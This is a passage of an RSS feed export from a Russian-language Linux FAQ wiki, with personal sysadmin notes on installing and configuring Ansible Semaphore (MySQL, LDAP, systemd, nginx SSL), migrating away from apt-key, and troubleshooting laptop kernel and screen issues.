Установка AWX из rpm-репозитория: &lt;a href=&quot;https://developer.ibm.com/articles/automation-using-ansible-awx-gui/&quot; class=&quot;urlextern&quot; title=&quot;https://developer.ibm.com/articles/automation-using-ansible-awx-gui/&quot; rel=&quot;ugc nofollow&quot;&gt;https://developer.ibm.com/articles/automation-using-ansible-awx-gui/&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0441\u044b\u043b\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0441\u044b\u043b\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;9445-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 10 Jun 2020 08:58:27 +0000</pubDate>
        </item>
        <item>
            <title>ansible_playbook_to_setup_wifi_router</title>
            <link>https://wiki.autosys.tk/linux_faq/ansible_playbook_to_setup_wifi_router</link>
            <description>
&lt;p&gt;
Хочу запилить плейбук для настройки домашнего роутера на базе NanoPi-R1 + Armbian.
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/Scionar/ansible-wifi-router&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/Scionar/ansible-wifi-router&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/Scionar/ansible-wifi-router&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/mmulsow/ansible-router&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/mmulsow/ansible-router&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/mmulsow/ansible-router&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://variwiki.com/index.php?title=Wifi_NetworkManager#Configuring_WiFi_Access_Point&quot; class=&quot;urlextern&quot; title=&quot;http://variwiki.com/index.php?title=Wifi_NetworkManager#Configuring_WiFi_Access_Point&quot; rel=&quot;ugc nofollow&quot;&gt; Настройка точки доступа c NetworkManager &lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
hostapd &lt;br/&gt;

dnsmasq - dhcp, dns (over https)&lt;br/&gt;

ufw (iptables) &lt;br/&gt;

haproxy &lt;br/&gt;

strongswan l2tp&lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблемы&quot;&gt;Проблемы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При изменении состояния сервисов из ansible на системе с ядром 5.8.x наблюдаю такую ошибку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;fatal: [192.168.77.65]: FAILED! =&amp;gt; {&amp;quot;changed&amp;quot;: false, &amp;quot;msg&amp;quot;: &amp;quot;Service is in unknown state&amp;quot;, &amp;quot;status&amp;quot;: {}}&lt;/pre&gt;

&lt;p&gt;
Причина - несколько устаревший &lt;strong&gt;systemd&lt;/strong&gt;. Решение - обновить &lt;strong&gt;systemd&lt;/strong&gt; или откатить ядро до &lt;strong&gt;5.7.x&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;484-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 15 Oct 2020 19:38:30 +0000</pubDate>
        </item>
        <item>
            <title>ansible_with_semaphore_ui</title>
            <link>https://wiki.autosys.tk/linux_faq/ansible_with_semaphore_ui</link>
            <description>
&lt;p&gt;
Для своего времени &lt;strong&gt;Semaphore&lt;/strong&gt; был неплох. &lt;br/&gt;

Однако, &lt;strong&gt;Semaphore&lt;/strong&gt; больше не поддерживается и сейчас стал бесплатным &lt;strong&gt;upstream Ansible Tower&lt;/strong&gt; - &lt;a href=&quot;https://github.com/ansible/awx&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/ansible/awx&quot; rel=&quot;ugc nofollow&quot;&gt;AWX&lt;/a&gt;. Установить его можно вот так: &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ansible_awx_setup&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ansible_awx_setup&quot; data-wiki-id=&quot;linux_faq:ansible_awx_setup&quot;&gt;Установка AWX на Ubuntu или в кластер Kubernetes&lt;/a&gt;&lt;br/&gt;

По сути &lt;strong&gt;Semaphore&lt;/strong&gt; - бледное подобие &lt;strong&gt;Ansible Tower&lt;/strong&gt;. &lt;br/&gt;

&lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка_semaphore_на_ubuntudebian&quot;&gt;Установка Semaphore на Ubuntu/Debian&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/ansible-semaphore/semaphore/wiki/Installation&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/ansible-semaphore/semaphore/wiki/Installation&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/ansible-semaphore/semaphore/wiki/Installation&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y upgrade
sudo apt-get install -y software-properties-common
sudo apt-add-repository -y universe
sudo add-apt-repository -y ppa:ansible/ansible
sudo apt-get install -y git ansible mysql-server nginx
wget https://github.com/ansible-semaphore/semaphore/releases/download/v2.5.1/semaphore_2.5.1_linux_amd64.deb
sudo dpkg -i ./semaphore_2.5.1_linux_amd64.deb&lt;/pre&gt;

&lt;p&gt;
Создаем базу данных:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo mysql


mysql&amp;gt; CREATE DATABASE semaphore;
Query OK, 1 row affected (0.04 sec)

mysql&amp;gt; CREATE USER &amp;#039;semaphore&amp;#039;@&amp;#039;localhost&amp;#039; IDENTIFIED BY &amp;#039;superpassword&amp;#039;;
Query OK, 0 rows affected (0.06 sec)

mysql&amp;gt; GRANT ALL PRIVILEGES ON semaphore.* TO &amp;#039;semaphore&amp;#039;@&amp;#039;localhost&amp;#039;;
Query OK, 0 rows affected (0.01 sec)

mysql&amp;gt; FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.03 sec)

mysql&amp;gt; exit&lt;/pre&gt;

&lt;p&gt;
Создаем файл конфигурации:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo semaphore -setup&lt;/pre&gt;

&lt;p&gt;
При первичной настройке не стоит включать &lt;strong&gt;LDAP&lt;/strong&gt;-аутентификацию, потому что при ее включении скрипт не предлагает добавить локального пользователя.  &lt;br/&gt;

Включить &lt;strong&gt;LDAP&lt;/strong&gt; можно и в дальнейшем, просто добавив нужные параметры в файл конфигурации.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 Semaphore \u043d\u0430 Ubuntu\/Debian&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_semaphore_\u043d\u0430_ubuntudebian&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;508-1990&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;semaphore_ad_authentication&quot;&gt;Semaphore AD Authentication&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для аутентификации пользователей из AD нужно включить LDAP. Эта часть конфига должна выглядеть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;        &amp;quot;ldap_binddn&amp;quot;: &amp;quot;semaphore&amp;quot;,
        &amp;quot;ldap_bindpassword&amp;quot;: &amp;quot;semaphore_password&amp;quot;,
        &amp;quot;ldap_server&amp;quot;: &amp;quot;dc.local:389&amp;quot;,
        &amp;quot;ldap_searchdn&amp;quot;: &amp;quot;OU=Users,DC=domain,DC=local&amp;quot;,
        &amp;quot;ldap_searchfilter&amp;quot;: &amp;quot;(sAMAccountName=%s)&amp;quot;,
        &amp;quot;ldap_mappings&amp;quot;: {
                &amp;quot;dn&amp;quot;: &amp;quot;dn&amp;quot;,
                &amp;quot;mail&amp;quot;: &amp;quot;mail&amp;quot;,
                &amp;quot;uid&amp;quot;: &amp;quot;sAMAccountName&amp;quot;,
                &amp;quot;cn&amp;quot;: &amp;quot;cn&amp;quot;
        },
        &amp;quot;ldap_enable&amp;quot;: true,
        &amp;quot;ldap_needtls&amp;quot;: false&lt;/pre&gt;

&lt;p&gt;
С начала я пытался сконфигурировать параметр &lt;strong&gt;“ldap_binddn”&lt;/strong&gt; в виде &lt;strong&gt;CN=semaphore,OU=Users,DC=domain,DC=local&lt;/strong&gt;, однако это приводило к ошибкам вида:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;time=&amp;quot;2018-09-26T08:48:22Z&amp;quot; level=info msg=&amp;quot;LDAP Result Code 49 &amp;quot;Invalid Credentials&amp;quot;: 80090308: LdapErr: DSID-0C09042A, comment: AcceptSecurityContext error, data 52e, v3839&amp;quot;&lt;/pre&gt;

&lt;p&gt;
в таком случае, стоит попробывать в качестве &lt;strong&gt;“ldap_binddn”&lt;/strong&gt; использовать просто логин (&lt;strong&gt;sAMAccountname&lt;/strong&gt; или &lt;strong&gt;UserPrincipalName&lt;/strong&gt; а не &lt;strong&gt;distinguished name&lt;/strong&gt;) пользователя, который будет обращаться к &lt;strong&gt;LDAP&lt;/strong&gt;. &lt;br/&gt;

Также, вместо &lt;strong&gt;uid&lt;/strong&gt; нужно использовать &lt;strong&gt;sAMAccountName&lt;/strong&gt;. В противном случае можно увидеть такую ошибку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;time=&amp;quot;2018-09-26T13:45:35Z&amp;quot; level=info msg=&amp;quot;User does not exist or too many entries returned&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Semaphore AD Authentication&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;semaphore_ad_authentication&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1991-3681&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;запуск_semaphore_в_виде_сервиса&quot;&gt;Запуск semaphore в виде сервиса&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Копируем конфиг &lt;strong&gt;semaphore&lt;/strong&gt; в &lt;strong&gt;/etc/ansible/&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp ./config.json /etc/ansible/semaphore_config.json&lt;/pre&gt;

&lt;p&gt;
И конфигурируем сервис:
&lt;strong&gt;/etc/systemd/system/semaphore.service&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Unit]
Description=Ansible Semaphore
After=syslog.service
Before=nginx.service
Requires=network.target

[Service]
Type=forking
EnvironmentFile=-/etc/default/ansible-semaphore
ExecStart=/bin/sh -c &amp;quot;/usr/bin/semaphore -config ${SEMAPHORE_CONFIG} &amp;gt;&amp;gt; ${SEMAPHORE_LOGS} 2&amp;gt;&amp;amp;1 &amp;amp;&amp;quot;
Restart=always
RestartSec=10s

[Install]
WantedBy=multi-user.target&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;strong&gt;/etc/default/ansible-semaphore&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#Ansible Semaphore Defaults

SEMAPHORE_CONFIG=/etc/ansible/semaphore_config.json
SEMAPHORE_LOGS=/var/log/semaphore.log&lt;/pre&gt;

&lt;p&gt;
Включаем и запускаем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;systemctl enable semaphore.service
service semaphore start&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043f\u0443\u0441\u043a semaphore \u0432 \u0432\u0438\u0434\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043f\u0443\u0441\u043a_semaphore_\u0432_\u0432\u0438\u0434\u0435_\u0441\u0435\u0440\u0432\u0438\u0441\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3682-4599&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;ssl_посредством_nginx&quot;&gt;SSL посредством nginx&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt; /etc/nginx/nginx.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
  worker_connections 1024;
  use epoll;
  multi_accept on;
}

http {
        tcp_nodelay on;
        keepalive_timeout 600;
        types_hash_max_size 2048;

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        gzip on;

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;/etc/nginx/sites-enabled/default&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server {
        listen 80;
        root /var/www/;
        
        #Enable access to acme files
        location ~ /\.well-known/acme-challenge/ {
                        allow all;
                        access_log off;
                        log_not_found off;
       }

       return 301 https://$host$request_uri;
  }

  upstream semaphore {
    server 127.0.0.1:3000;
  }

  server {
    listen 443 ssl http2;
    server_name  server.domain.com;
    
    # add Strict-Transport-Security to prevent man in the middle attacks
    add_header Strict-Transport-Security &amp;quot;max-age=31536000&amp;quot; always;

    # SSL
    ssl_certificate /etc/letsencrypt/live/server.domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/server.domain.com/privkey.pem;

    # Recommendations from https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html
    ssl_protocols TLSv1.1 TLSv1.2;
    ssl_ciphers &amp;#039;EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH&amp;#039;;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;

    # disable any limits to avoid HTTP 413 for large image uploads
    client_max_body_size 0;

    # required to avoid HTTP 411: see Issue #1486 (https://github.com/docker/docker/issues/1486)
    chunked_transfer_encoding on;

    location / {
      proxy_pass http://semaphore/;
      proxy_set_header Host $http_host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

      proxy_set_header X-Forwarded-Proto $scheme;

      proxy_buffering off;
      proxy_request_buffering off;
    }

    location /api/ws {
      proxy_pass http://semaphore/api/ws;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection &amp;quot;upgrade&amp;quot;;
      proxy_set_header Origin &amp;quot;&amp;quot;;
    }
  }&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SSL \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c nginx&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ssl_\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c_nginx&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;4600-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 18 Nov 2019 07:23:29 +0000</pubDate>
        </item>
        <item>
            <title>apache_tomcat_cookbook</title>
            <link>https://wiki.autosys.tk/linux_faq/apache_tomcat_cookbook</link>
            <description>
&lt;p&gt;
Вот неплохая книжка по &lt;strong&gt;Apache TomCat&lt;/strong&gt;, которая на базовом уровне позволит разобраться с конфигурацией сервера и приложений: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/apache_tomcat_cookbook.pdf&quot; class=&quot;media mediafile mf_pdf&quot; title=&quot;linux_faq:apache_tomcat_cookbook.pdf (3.6 MB)&quot;&gt; Apache Tomcat CookBook &lt;/a&gt;. &lt;br/&gt;

Книга посвящена вопросам конфигурирования &lt;strong&gt;Apache TomCat&lt;/strong&gt; версий &lt;strong&gt;7.x/8.x&lt;/strong&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 23 Mar 2021 06:24:09 +0000</pubDate>
        </item>
        <item>
            <title>apt-key_is_deprecated_how_to_add</title>
            <link>https://wiki.autosys.tk/linux_faq/apt-key_is_deprecated_how_to_add</link>
            <description>
&lt;p&gt;
В &lt;strong&gt;Ubuntu 22.04&lt;/strong&gt; и свежих &lt;strong&gt;Debian&lt;/strong&gt; теперь считается устаревшей (deprecated) утилита &lt;strong&gt;apt-key&lt;/strong&gt; и скоро она будет выпилена. &lt;br/&gt;

Чтобы не получать сообщения вида:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;The following signatures couldn&amp;#039;t be verified because the public key is not available: NO_PUBKEY C6ABDC...
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: .....&lt;/pre&gt;

&lt;p&gt;
и 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead&lt;/pre&gt;

&lt;p&gt;
и 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.&lt;/pre&gt;

&lt;p&gt;
Нужно добавлять ключи в &lt;strong&gt;/etc/apt/trusted.gpg.d/&lt;/strong&gt;, при этом сделав над ними
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;gpg --dearmor&lt;/pre&gt;

&lt;p&gt;
примерно так: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
sudo apt install gnupg2 wget ca-certificates lsb-release software-properties-common
gpg_key_url=&amp;quot;https://packagecloud.io/slacktechnologies/slack/gpgkey&amp;quot;
gpg_keyring_path=&amp;quot;/etc/apt/trusted.gpg.d/slack-keyring.gpg&amp;quot;
curl -fsSL &amp;quot;${gpg_key_url}&amp;quot; | gpg --dearmor | sudo tee ${gpg_keyring_path}
sudo apt-get clean
sudo apt-get update&lt;/pre&gt;

&lt;p&gt;
При этом, в &lt;strong&gt;Ubuntu 22.04&lt;/strong&gt; добавление pgp-файла в &lt;strong&gt;/usr/share/keyrings/&lt;/strong&gt; не решало проблему. Добавлять файл нужно в &lt;strong&gt;/etc/apt/trusted.gpg.d/&lt;/strong&gt; &lt;br/&gt;

&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Либо, пока не свосем выпилили &lt;strong&gt;apt-key&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;gpg_key_url=&amp;quot;https://packagecloud.io/slacktechnologies/slack/gpgkey&amp;quot;
gpg_keyring_path=&amp;quot;/etc/apt/trusted.gpg.d/slack-keyring.gpg&amp;quot;
wget -q -O - $gpg_key_url | sudo apt-key --keyring $gpg_keyring_path add -&lt;/pre&gt;

&lt;p&gt;
Для &lt;strong&gt;packages.cloud.google.com/apt&lt;/strong&gt; :
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;gpg_key_url=https://packages.cloud.google.com/apt/doc/apt-key.gpg
gpg_keyring_path=&amp;quot;/etc/apt/trusted.gpg.d/cloud-google-keyring.gpg&amp;quot;
curl -fsSL &amp;quot;${gpg_key_url}&amp;quot; | gpg --dearmor | sudo tee ${gpg_keyring_path}&lt;/pre&gt;

&lt;p&gt;
Или так, как указано в мануалах &lt;strong&gt;hashicorp&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg
wget -O- https://packagecloud.io/slacktechnologies/slack/gpgkey | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/slack-keyring.gpg&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 21 Aug 2023 10:48:31 +0000</pubDate>
        </item>
        <item>
            <title>apt-rdepends-how-to-remove-recommends-and-suggested</title>
            <link>https://wiki.autosys.tk/linux_faq/apt-rdepends-how-to-remove-recommends-and-suggested</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При установлке deb-пакета он притянул за собой 25 гигов &lt;strong&gt;recommends&lt;/strong&gt; и &lt;strong&gt;suggested&lt;/strong&gt; пакетов. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-178&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;apt-rdepends&quot;&gt;apt-rdepends&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;apt-rdepends&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;apt-rdepends&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;179-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 22 Jul 2022 14:22:09 +0000</pubDate>
        </item>
        <item>
            <title>asus_rog_zephyrus_m16</title>
            <link>https://wiki.autosys.tk/linux_faq/asus_rog_zephyrus_m16</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;os&quot;&gt;OS&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Все эксперименты провожу на Ubuntu 21.10
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;OS&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;os&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-83&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;kernel&quot;&gt;Kernel&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я работаю под 5.16.0. &lt;br/&gt;

Последнее ядро под которым нормально завелся &lt;strong&gt;MT7921e&lt;/strong&gt; - 5.16.1, однако под ним система нестабильна. &lt;br/&gt;

Все более поздние версии (начиная с 5.16.2) тупо виснут при загрузке модуля &lt;strong&gt;mt7921e&lt;/strong&gt;. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Kernel&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;kernel&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;84-462&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;suspend&quot;&gt;Suspend&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Неплохой гайд по расследованию причин не работающего суспенда: &lt;a href=&quot;https://01.org/blogs/rzhang/2015/best-practice-debug-linux-suspend/hibernate-issues&quot; class=&quot;urlextern&quot; title=&quot;https://01.org/blogs/rzhang/2015/best-practice-debug-linux-suspend/hibernate-issues&quot; rel=&quot;ugc nofollow&quot;&gt;https://01.org/blogs/rzhang/2015/best-practice-debug-linux-suspend/hibernate-issues&lt;/a&gt; &lt;br/&gt;

Но не не помоголо.. &lt;br/&gt;

Suspend не работает. Ноут не засыпает и не проспается. &lt;br/&gt;

&lt;strong&gt;pm_trace&lt;/strong&gt; выдает только такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[    1.078515] PM:   Magic number: 0:707:445
[    1.080206] PM:   hash matches drivers/base/power/main.c:1206
[    1.082293] pcieport 0000:00:1c.6: hash matches&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;no_console_suspend&lt;/strong&gt; тоже не помогло выявить проблему.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Suspend&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;suspend&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;463-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 04 Feb 2022 20:51:29 +0000</pubDate>
        </item>
        <item>
            <title>asus_u41sv_screen_resolution_upgrade</title>
            <link>https://wiki.autosys.tk/linux_faq/asus_u41sv_screen_resolution_upgrade</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;матрица&quot;&gt;Матрица&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Ноутбук - Asus U41SV. Пишут, что оригинальная матрица - B140XW02 v1 (1366&amp;times;768) &lt;br/&gt;

Толщина матрицы - 3.6 мм. в крышке есть максимум 4.5 мм. &lt;br/&gt;

&lt;a href=&quot;http://www.panelook.com/B140XW02%20V1_AUO_14_LCM_overview_478.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.panelook.com/B140XW02%20V1_AUO_14_LCM_overview_478.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.panelook.com/B140XW02%20V1_AUO_14_LCM_overview_478.html&lt;/a&gt; &lt;br/&gt;

&lt;br/&gt;

По размеру, крепежу кажется подходит B140RW02 (1600&amp;times;900)  но она 2-х канальная&lt;br/&gt;

&lt;a href=&quot;http://www.panelook.com/B140RW02%20V1_AUO_14_LCM_overview_466.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.panelook.com/B140RW02%20V1_AUO_14_LCM_overview_466.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.panelook.com/B140RW02%20V1_AUO_14_LCM_overview_466.html&lt;/a&gt; &lt;br/&gt;

&lt;br/&gt;

В итоге я нашел единственную подходящую матрицу 14&amp;#039;&amp;#039; с разрешением 1600&amp;times;900 с интерфейсом LVDS 1ch 6-bit: &lt;a href=&quot;http://www.panelook.com/LTN140KT01-001_Samsung_14_LCM_overview_24785.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.panelook.com/LTN140KT01-001_Samsung_14_LCM_overview_24785.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.panelook.com/LTN140KT01-001_Samsung_14_LCM_overview_24785.html&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://remontof.net/article/4_tablica-sovmestimosti-matric-dlya-noutbukov&quot; class=&quot;urlextern&quot; title=&quot;https://remontof.net/article/4_tablica-sovmestimosti-matric-dlya-noutbukov&quot; rel=&quot;ugc nofollow&quot;&gt;https://remontof.net/article/4_tablica-sovmestimosti-matric-dlya-noutbukov&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://forum.lowyat.net/topic/2069213/all&quot; class=&quot;urlextern&quot; title=&quot;https://forum.lowyat.net/topic/2069213/all&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.lowyat.net/topic/2069213/all&lt;/a&gt; &lt;br/&gt;

